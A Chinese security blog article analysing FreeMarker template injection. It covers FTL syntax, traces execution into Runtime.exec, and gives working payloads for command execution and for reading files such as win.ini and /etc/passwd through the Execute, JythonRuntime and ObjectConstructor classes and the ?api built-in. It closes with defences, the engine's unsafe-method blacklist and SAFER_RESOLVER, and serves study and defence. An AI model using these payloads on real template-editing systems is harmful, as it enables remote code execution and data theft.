JAVA安全之FreeMark模板注入刨析

文摘   2024-10-25 07:05   四川  

文章前言

关于FreeMark模板注入注入之前一直缺乏一个系统性的学习和整理,搜索网上大多数类似的内容都是一些关于漏洞利用的复现,对于载荷的构造、执行过程、防御措施等并没有详细的流程分析,于是乎只能自己动手来填坑了~

基本介绍

FreeMarker是一个基于Java的模板引擎,广泛用于生成文本输出,例如:HTML网页、电子邮件、配置文件等,它的设计目标是简化内容生成的过程,使开发者能够将数据与模板分离,从而实现代码和表现层的分离。FreeMarker Template Language(FTL)是FreeMarker模板引擎中使用的模板语言,FTL提供了一种简单而强大的方式来生成文本内容,例如:HTML、XML、邮件等,广泛应用于Java应用程序的视图层

模板引擎

FreeMarker模板引擎的作用就是接受模板和Java对象并对它们进行处理,输出完整的内容,简易视图如下:

FreeMarker拥有自己的模板编写规则并使用FTL表示,即FreeMarker模板语言,比如:myweb.html.ftl就是一个FreeMarker模板文件,模板文件由4个核心部分组成:

  • 文本:固定的内容,会按原样输出

  • 插值:使用${...} 语法来占位,尖括号中的内容在经过计算和替换后才会输出

  • FTL指令:类似于HTML的标签语法,通过<#xxx ... >来实现各种特殊功能,比如:<#list elements as element>实现循环输出

  • 注释:类似于HTML注释,通过使用<#-- xxxxx --> 来实现,注释中的内容不会输出

下面是一个简易示例:

<!DOCTYPE html>
<html>
<head>
<title>FreeMark</title>
</head>
<body>
<h1>欢迎来到FreeMark</h1>
<ul>
<#-- 循环渲染导航条 -->
<#list menuItems as item>
<li><a href="${item.url}">${item.label}</a></li>
</#list>
</ul>
<#-- 底部版权信息(注释部分,不会被输出)-->
<footer>
${currentYear} FreeMark. All rights reserved.
</footer>
</body>
</html>

语法概览

变量插入

使用${...}来插入变量或表达式的值

${variableName}

控制结构

使用<#if>、<#else>和<#list>等标记来控制逻辑流

<#if condition>
Do something
<#else>
Do something else
</#if>

变量赋值

<#assign>是一个用于定义和赋值变量的指令,它允许开发者将一个表达式的结果存储到一个变量中,以便后续使用,例如:

<#assign greeting = "Hello, world!">
${greeting}

循环遍历

使用<#list>遍历集合

<#list items as item>
${item}
</#list>

宏定义类

使用<#macro>标签定义一个宏

<#macro greet name>
Hello, ${name}!
</#macro>

通过<@macroName>调用它

<@greet "John" /> 

<!-- 输出: Hello, John! -->

宏可以接收多个参数

#定义宏
<#macro userInfo name email>
Name: ${name}, Email: ${email}
</#macro>


<@userInfo "Alice" "alice@example.com" />
<!-- 输出: Name: Alice, Email: alice@example.com -->

条件判断

FreeMarker提供了条件判断结构,用于根据特定条件执行不同的操作:

<#if age >= 18>
You are an adult.
<#elseif age >= 13>
You are a teenager.
<#else>
You are a child.
</#if>

循环遍历

通过使用<#list>指令来遍历集合或数组:
1、遍历列表

<#assign fruits = ["apple", "banana", "cherry"]>
<ul>
<#list fruits as fruit>
<li>${fruit}</li>
</#list>
</ul>

2、使用索引
使用?index来获取当前项的索引,从0开始

<#list fruits as fruit>
${fruit} is at index ${fruit?index}.
</#list>

包含导入

FreeMarker支持从其他文件导入模板或包含代码片段
1、include指令
使用include将其他模板包含到当前模板中

<#include "header.ftl">

2、import指令
使用import引入其他模板中的宏

<#import "macros.ftl" as macros>
<@macros.greet("Jane") />

错误处理

FreeMarker提供了一种灵活的方式来处理错误,通过??操作符检查变量是否存在
1、检查变量是否存在

<#if variableName??>
Variable exists.
<#else>
Variable does not exist.
</#if>

2、默认值:使用!符号提供默认值

${nonExistentVariable!"Default value"}

组合嵌套

FreeMarker允许将函数和控制结构嵌套使用以实现更复杂的逻辑和数据展示:

<#assign users = [{"name": "Alice", "age": 25}, {"name": "Bob", "age": 17}]>
<ul>
<#list users as user>
<li>
Name: ${user.name}, Age: ${user.age}
<#if user.age >= 18>
(Adult)
<#else>
(Minor)
</#if>
</li>
</#list>
</ul>

模板注入

首先创建一个SpringBoot项目并添加下面的依赖:

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.29</version>
</dependency>

随后构造一个Controller用于处理请求:

package com.freemarkerinject.freemarkerinject;

import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.Map;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;

import java.io.IOException;
import java.io.StringWriter;

@RestController
public class FreemarkController {

@Autowired
private Configuration freeMarkerConfig; // 注入 FreeMarker 配置

@GetMapping("index")
public String index(@RequestParam(defaultValue="Al1ex") String username) throws IOException, TemplateException {
// 创建数据模型
Map<String, Object> model = new HashMap<>();
Map<String, String> user = new HashMap<>();
user.put("username", username);
model.put("user", user);

// 获取模板
Template template = freeMarkerConfig.getTemplate("index.ftl");

// 渲染模板
StringWriter writer = new StringWriter();
template.process(model, writer);
return writer.toString(); // 返回渲染后的模板内容
}
}

一个index.ftl作为模板:

<html>
<head>
<title>User Info</title>
</head>
<body>
<h1>Hello, ${user.username}!</h1>
<#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c calc")}
</body>
</html>

随后启动应用并进行访问:

在这里读者可能有点犹豫说你要想实现命令执行那么岂不是得控制模板内容,当前场景下确实是这样的,可能你还会说这个得有多么的鸡肋,多么的无用哇,其实不然,有些CMS应用后台会提供模板的编辑功能和模板自定义功能,此时我们便可以控制模板文件来进行恶意的攻击操作,Freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效,所以一般的利用场景为上传或者修改模版文件,下面我们对模板的解析过程进行一个简易的分析,首先我们再template.process处下断点进行调试

随后调用当前对象的createProcessingEnvironment方法创建一个处理环境,这个环境将负责根据提供的数据模型和输出目标进行模板处理

紧接着我们跟进到process方法中执行模板处理,随后调用this.clearCachedValues();清除缓存的值,this.doAutoImportsAndIncludes(this);方法则进行自动导入和包含,随后访问模板的根树节点并执行相应的处理,visit方法负责遍历模板的AST(抽象语法树)并根据节点的类型进行渲染操作

public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);

try {
this.clearCachedValues();

try {
this.doAutoImportsAndIncludes(this);
this.visit(this.getTemplate().getRootTreeNode());
if (this.getAutoFlush()) {
this.out.flush();
}
} finally {
this.clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}

}

跟进visite方法,在这里首先将当前模板元素压入访问栈中以便后续操作可以追踪当前上下文,随后调用当前模板元素的accept方法获取要访问的子模板元素,如果返回的子元素数组不为空则遍历这些子元素,随后递归调用visit方法,访问当前子元素

随后我们再最后一轮次跟进accept函数,在这里可以看到会调用accept的calculateInterpolatedStringOrMarkup来计算插值字符串或标记

TemplateElement[] accept(Environment env) throws TemplateException, IOException {
Object moOrStr = this.calculateInterpolatedStringOrMarkup(env);
Writer out = env.getOut();
if (moOrStr instanceof String) {
String s = (String)moOrStr;
if (this.autoEscape) {
this.markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel)moOrStr;
MarkupOutputFormat moOF = mo.getOutputFormat();
if (moOF != this.outputFormat && !this.outputFormat.isOutputFormatMixingAllowed()) {
String srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(this.escapedExpression, new Object[]{"The value to print is in ", new _DelayedToString(moOF), " format, which differs from the current output format, ", new _DelayedToString(this.outputFormat), ". Format conversion wasn't possible."});
}

if (this.outputFormat instanceof MarkupOutputFormat) {
((MarkupOutputFormat)this.outputFormat).output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else {
moOF.output(mo, out);
}
}

return null;
}

紧接着调用eval方法:

在这里又调用了_eval方法,继续跟进:

随后调用targetMethod的exec方法来执行参数:

于是乎来到了我们最熟悉Runtime.getRuntime().exec()命令执行

扩展载荷

在这里我们对构造FreeMark的载荷进行一个简单的介绍,我们在构造载荷时主要还是使用了FreeMark的内置函数new和api,其中的?new内置函数用于创建Java对象的实例,而?api则允许用户调用任何Java类中的方法,包括集合类、日期类等,在这里我们不免会想到去找寻Freemark中自带的可以执行命令的内置的JAVA类和方法,随后用于构造载荷

New引用

FreeMarker中的?new内置函数用于创建Java对象的实例,这一函数非常强大,因为它允许在模板中动态地实例化对象并可以传递参数给构造函数,它可以与任何公开的Java类一起使用,只要该类正确定义并可被FreeMarker访问,假设我们有一个简单的Java类Person,它有一个构造函数接受一个字符串作为参数:

public class Person {
private String name;

public Person(String name) {
this.name = name;
}

public String getName() {
return name;
}
}

下面是如何在FreeMarker模板中使用?new来创建Person实例的示例,在这里我们首先创建了一个包含名字的字符串数组names,随后使<#list>指令遍历names数组,紧接着使用?new实例化了一个Person对象并将当前的name作为参数传递给构造函数,随后通过${person.getName()}调用getName()方法获取并显示每个Person对象的名字,关于这一个特性我们可以通过调用java内置的方法进行命令执行载荷的构造

<#-- 假设已经传入了一个变量 names,它是一个字符串数组 -->
<#assign names = ["Alice", "Bob", "Charlie"]>

<ul>
<#list names as name>
<#-- 使用 ?new 创建 Person 对象 -->
<#assign person = "com.example.Person"?new(name)>
<li>${person.getName()}</li>
</#list>
</ul>
freemarker.template.utility.Execute

在查看freemark反编译后的代码时发现了freemarker.template.utility.Execute类,从中可以看到这里的exec方法是一个很完美的命令执行函数:

package freemarker.template.utility;

import freemarker.template.TemplateMethodModel;
import freemarker.template.TemplateModelException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.util.List;

public class Execute implements TemplateMethodModel {
private static final int OUTPUT_BUFFER_SIZE = 1024;

public Execute() {
}

public Object exec(List arguments) throws TemplateModelException {
StringBuilder aOutputBuffer = new StringBuilder();
if (arguments.size() < 1) {
throw new TemplateModelException("Need an argument to execute");
} else {
String aExecute = (String)((String)arguments.get(0));

try {
Process exec = Runtime.getRuntime().exec(aExecute);
InputStream execOut = exec.getInputStream();

try {
Reader execReader = new InputStreamReader(execOut);
char[] buffer = new char[1024];

for(int bytes_read = execReader.read(buffer); bytes_read > 0; bytes_read = execReader.read(buffer)) {
aOutputBuffer.append(buffer, 0, bytes_read);
}
} finally {
execOut.close();
}
} catch (IOException var13) {
throw new TemplateModelException(var13.getMessage());
}

return aOutputBuffer.toString();
}
}
}

从类的声明中可以看到该类实现了TemplateMethodModel接口,随后我们转至该接口,可以看到TemplateMethodModel又是TemplateModel接口的实现

随后我们可以借助改类进行命令执行,很多人可能会问下面的${value("cmd.exe /c calc")}为啥可以直接调用freemarker.template.utility.Execute的exec方法,这是因为FreeMarker提供了对Java对象的封装和方法调用能力,在这个特定示例中value 变量代表了一个Execute实例,而FreeMarker允许通过变量名直接访问该对象的方法,所以可以直接调用

<#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c calc")}

文件读取利用载荷

<html><head>    <title>User Info</title></head><body><h1>Hello, ${user.username}!</h1><#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c type C:\\Windows\\win.ini")}</body></html><h1>Hello, ${user.username}!</h1><#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c type C:\\Windows\\win.ini")}</body></html>

freemarker.template.utility.JythonRuntime

在查看freemark反编译后的代码时发现freemarker.template.utility.JythonRuntime 类可以通过自定义标签的方式执行Python命令,从而构造远程命令执行,具体代码如下所示:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package freemarker.template.utility;

import freemarker.core.Environment;
import freemarker.template.TemplateTransformModel;
import java.io.IOException;
import java.io.Writer;
import java.util.Map;
import org.python.core.PyObject;
import org.python.util.PythonInterpreter;

public class JythonRuntime extends PythonInterpreter implements TemplateTransformModel {
public JythonRuntime() {
}

public Writer getWriter(final Writer out, Map args) {
final StringBuilder buf = new StringBuilder();
final Environment env = Environment.getCurrentEnvironment();
return new Writer() {
public void write(char[] cbuf, int off, int len) {
buf.append(cbuf, off, len);
}

public void flush() throws IOException {
this.interpretBuffer();
out.flush();
}

public void close() {
this.interpretBuffer();
}

private void interpretBuffer() {
synchronized(JythonRuntime.this) {
PyObject prevOut = JythonRuntime.this.systemState.stdout;

try {
JythonRuntime.this.setOut(out);
JythonRuntime.this.set("env", env);
JythonRuntime.this.exec(buf.toString());
buf.setLength(0);
} finally {
JythonRuntime.this.setOut(prevOut);
}

}
}
};
}
}

构造payload如下所示:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value>

执行测试时发现报如下措施:

后来发现时没添加依赖:

<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.0</version>
</dependency>

随后成功执行:

freemarker.template.utility.ObjectConstructor

在查看freemark反编译后的代码时发现freemarker.template.utility.ObjectConstructor类会把它的参数作为名称构造一个实例化对象,具体代码如下所示:

因此我们可以利用这一点构造一个可执行命令的对象,从而实现RCE,例如:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","cmd.exe","/c","calc").start()}

API引用

FreeMarker中的?api内建函数在2.3.22版本中引入,它允许用户访问和使用Java API,通过?api您可以调用任何Java类中的方法,包括集合类、日期类等,这使得在FreeMarker模板中操作复杂的数据结构变得更加灵活,假设我们有一个简单的Java类Person,这个类具有属性和方法:

package com.freemarkerinject.freemarkerinject;

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}

随后我们在FreeMarker模板中使用?api来展示Person对象的信息,创建Person对象并通过com.freemarkerinject.freemarkerinject.Person"?new("Alice", 30)创建一个新的Person实例,随后使用?api调用对象的方法:

  • ${person?api.getName()}:调用getName()方法获取名字

  • ${person?api.getAge()}:调用getAge()方法获取年龄

<#-- 假设你已经传入了一个 Person 对象 -->
<#assign person = "com.freemarkerinject.freemarkerinject.Person"?new("Alice", 30)>

<html>
<head>
<title>Person Info</title>
</head>
<body>
<h1>Person Information</h1>
<p>Name: ${person?api.getName()}</p>
<p>Age: ${person?api.getAge()}</p>
</body>
</html>

下面我们构造一个模板文件来实现文件读取操作:

<html>
<head>
<title>User Info</title>
</head>
<body>
<h1>Hello, ${user.username}!</h1>
<h3>
<#assign is=object?api.class.getResourceAsStream("c://windows/win.ini")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
</h3>
</body>
</html>

运行时发现报如下错误提示,这是由于在freemark的2.3.22版本之后api_builtin_enabled默认为false,同时FreeMarker为了防御通过其他方式调用恶意方法,在FreeMarker中内置了一份危险方法名单unsafeMethods.properties,例如:getClassLoader、newInstance等危险方法都被禁用了,具体可以参考"黑名单类"小节

而要想调用api函数则必须将该值设置为true,随后我们在application.properties文件中启用配置:

spring.freemarker.settings.api_builtin_enabled=true

随后重启服务进行测试执行:

文件读取载荷:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

命令执行:

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}

备注:这里利用载荷是要把上面的Object替换替换成可编辑模板中可用的真实的Object后利用才行~

黑名单类

Freemark中维护了一个freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties黑名单类:
https://github.com/apache/freemarker/blob/2.3-gae/freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties

# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.

# Used by LegacyDefaultMemberAccessPolicy (not by DefaultMemberAccessPolicy).
# It does NOT provide enough safety if template authors aren't as trusted as the developers; you need to use a custom
# whitelist then (see WhitelistMemberAccessPolicy).

# This is a blacklist, that is, methods mentioned here will not be accessible, but everything else will be.
# Furthermore, overridden version of the blacklisted methods will be accessible (which is strange, but we kept backward
# compatibility).

java.lang.Object.wait()
java.lang.Object.wait(long)
java.lang.Object.wait(long,int)
java.lang.Object.notify()
java.lang.Object.notifyAll()

java.lang.Class.getClassLoader()
java.lang.Class.newInstance()
java.lang.Class.forName(java.lang.String)
java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)

java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;)

java.lang.reflect.Method.invoke(java.lang.Object,[Ljava.lang.Object;)

java.lang.reflect.Field.set(java.lang.Object,java.lang.Object)
java.lang.reflect.Field.setBoolean(java.lang.Object,boolean)
java.lang.reflect.Field.setByte(java.lang.Object,byte)
java.lang.reflect.Field.setChar(java.lang.Object,char)
java.lang.reflect.Field.setDouble(java.lang.Object,double)
java.lang.reflect.Field.setFloat(java.lang.Object,float)
java.lang.reflect.Field.setInt(java.lang.Object,int)
java.lang.reflect.Field.setLong(java.lang.Object,long)
java.lang.reflect.Field.setShort(java.lang.Object,short)

java.lang.reflect.AccessibleObject.setAccessible([Ljava.lang.reflect.AccessibleObject;,boolean)
java.lang.reflect.AccessibleObject.setAccessible(boolean)

java.lang.Thread.destroy()
java.lang.Thread.getContextClassLoader()
java.lang.Thread.interrupt()
java.lang.Thread.join()
java.lang.Thread.join(long)
java.lang.Thread.join(long,int)
java.lang.Thread.resume()
java.lang.Thread.run()
java.lang.Thread.setContextClassLoader(java.lang.ClassLoader)
java.lang.Thread.setDaemon(boolean)
java.lang.Thread.setName(java.lang.String)
java.lang.Thread.setPriority(int)
java.lang.Thread.sleep(long)
java.lang.Thread.sleep(long,int)
java.lang.Thread.start()
java.lang.Thread.stop()
java.lang.Thread.stop(java.lang.Throwable)
java.lang.Thread.suspend()

java.lang.ThreadGroup.allowThreadSuspension(boolean)
java.lang.ThreadGroup.destroy()
java.lang.ThreadGroup.interrupt()
java.lang.ThreadGroup.resume()
java.lang.ThreadGroup.setDaemon(boolean)
java.lang.ThreadGroup.setMaxPriority(int)
java.lang.ThreadGroup.stop()
java.lang.ThreadGroup.suspend()

java.lang.Runtime.addShutdownHook(java.lang.Thread)
java.lang.Runtime.exec(java.lang.String)
java.lang.Runtime.exec([Ljava.lang.String;)
java.lang.Runtime.exec([Ljava.lang.String;,[Ljava.lang.String;)
java.lang.Runtime.exec([Ljava.lang.String;,[Ljava.lang.String;,java.io.File)
java.lang.Runtime.exec(java.lang.String,[Ljava.lang.String;)
java.lang.Runtime.exec(java.lang.String,[Ljava.lang.String;,java.io.File)
java.lang.Runtime.exit(int)
java.lang.Runtime.halt(int)
java.lang.Runtime.load(java.lang.String)
java.lang.Runtime.loadLibrary(java.lang.String)
java.lang.Runtime.removeShutdownHook(java.lang.Thread)
java.lang.Runtime.traceInstructions(boolean)
java.lang.Runtime.traceMethodCalls(boolean)

java.lang.System.exit(int)
java.lang.System.load(java.lang.String)
java.lang.System.loadLibrary(java.lang.String)
java.lang.System.runFinalizersOnExit(boolean)
java.lang.System.setErr(java.io.PrintStream)
java.lang.System.setIn(java.io.InputStream)
java.lang.System.setOut(java.io.PrintStream)
java.lang.System.setProperties(java.util.Properties)
java.lang.System.setProperty(java.lang.String,java.lang.String)
java.lang.System.setSecurityManager(java.lang.SecurityManager)

java.security.ProtectionDomain.getClassLoader()

防御措施

方式1:设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

我们可以在进行模板解析之前加入设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);,它会加入一个校验将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤,简易示例如下:

package com.freemarkerinject.freemarkerinject;

import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.Map;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;

import java.io.IOException;
import java.io.StringWriter;

@RestController
public class FreemarkController {

@Autowired
private Configuration freeMarkerConfig; // 注入 FreeMarker 配置

@GetMapping("index")
public String index(@RequestParam(defaultValue="Al1ex") String username) throws IOException, TemplateException {
// 创建数据模型
Map<String, Object> model = new HashMap<>();
Map<String, String> user = new HashMap<>();
user.put("username", username);
model.put("user", user);

// 获取模板
Template template = freeMarkerConfig.getTemplate("index.ftl");

// 渲染模板
StringWriter writer = new StringWriter();
template.process(model, writer);
return writer.toString(); // 返回渲染后的模板内容
}
}

更改后的代码如下所示:

package com.freemarkerinject.freemarkerinject;

import freemarker.core.TemplateClassResolver;
import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.Map;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;

import java.io.IOException;
import java.io.StringWriter;

@RestController
public class FreemarkController {

@Autowired
private Configuration freeMarkerConfig; // 注入 FreeMarker 配置

@GetMapping("index")
public String index(@RequestParam(defaultValue="Al1ex") String username) throws IOException, TemplateException {
// 创建数据模型
Map<String, Object> model = new HashMap<>();
Map<String, String> user = new HashMap<>();
user.put("username", username);
model.put("user", user);

// 获取模板
Template template = freeMarkerConfig.getTemplate("index.ftl");
// 增加elements安全过滤
freeMarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

// 渲染模板
StringWriter writer = new StringWriter();
template.process(model, writer);
return writer.toString(); // 返回渲染后的模板内容
}
}

执行效果如下:

过滤类的源代码如下所示:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package freemarker.core;

import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.ClassUtil;
import freemarker.template.utility.Execute;
import freemarker.template.utility.ObjectConstructor;

public interface TemplateClassResolver {
TemplateClassResolver UNRESTRICTED_RESOLVER = new TemplateClassResolver() {
public Class resolve(String className, Environment env, Template template) throws TemplateException {
try {
return ClassUtil.forName(className);
} catch (ClassNotFoundException var5) {
throw new _MiscTemplateException(var5, env);
}
}
};
TemplateClassResolver SAFER_RESOLVER = new TemplateClassResolver() {
public Class resolve(String className, Environment env, Template template) throws TemplateException {
if (!className.equals(ObjectConstructor.class.getName()) && !className.equals(Execute.class.getName()) && !className.equals("freemarker.template.utility.JythonRuntime")) {
try {
return ClassUtil.forName(className);
} catch (ClassNotFoundException var5) {
throw new _MiscTemplateException(var5, env);
}
} else {
throw _MessageUtil.newInstantiatingClassNotAllowedException(className, env);
}
}
};
TemplateClassResolver ALLOWS_NOTHING_RESOLVER = new TemplateClassResolver() {
public Class resolve(String className, Environment env, Template template) throws TemplateException {
throw _MessageUtil.newInstantiatingClassNotAllowedException(className, env);
}
};

Class resolve(String var1, Environment var2, Template var3) throws TemplateException;
}

从上面可以看到这里给了三种模板过滤处理方式:

  1. UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(className)获取任何类

  2. SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor三个类

  3. ALLOWS_NOTHING_RESOLVER:不能解析任何类

下面以SAFER_RESOLVER过滤进行简易的调试分析:

参考连接

https://freemarker.apache.org
https://paper.seebug.org/1304
https://github.com/apache/freemarker/blob/2.3-gae/freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties



































































随后调用targetMethod的exec方法来执行参数:


七芒星实验室
未知攻,焉知防,以攻促防,共筑安全!
 最新文章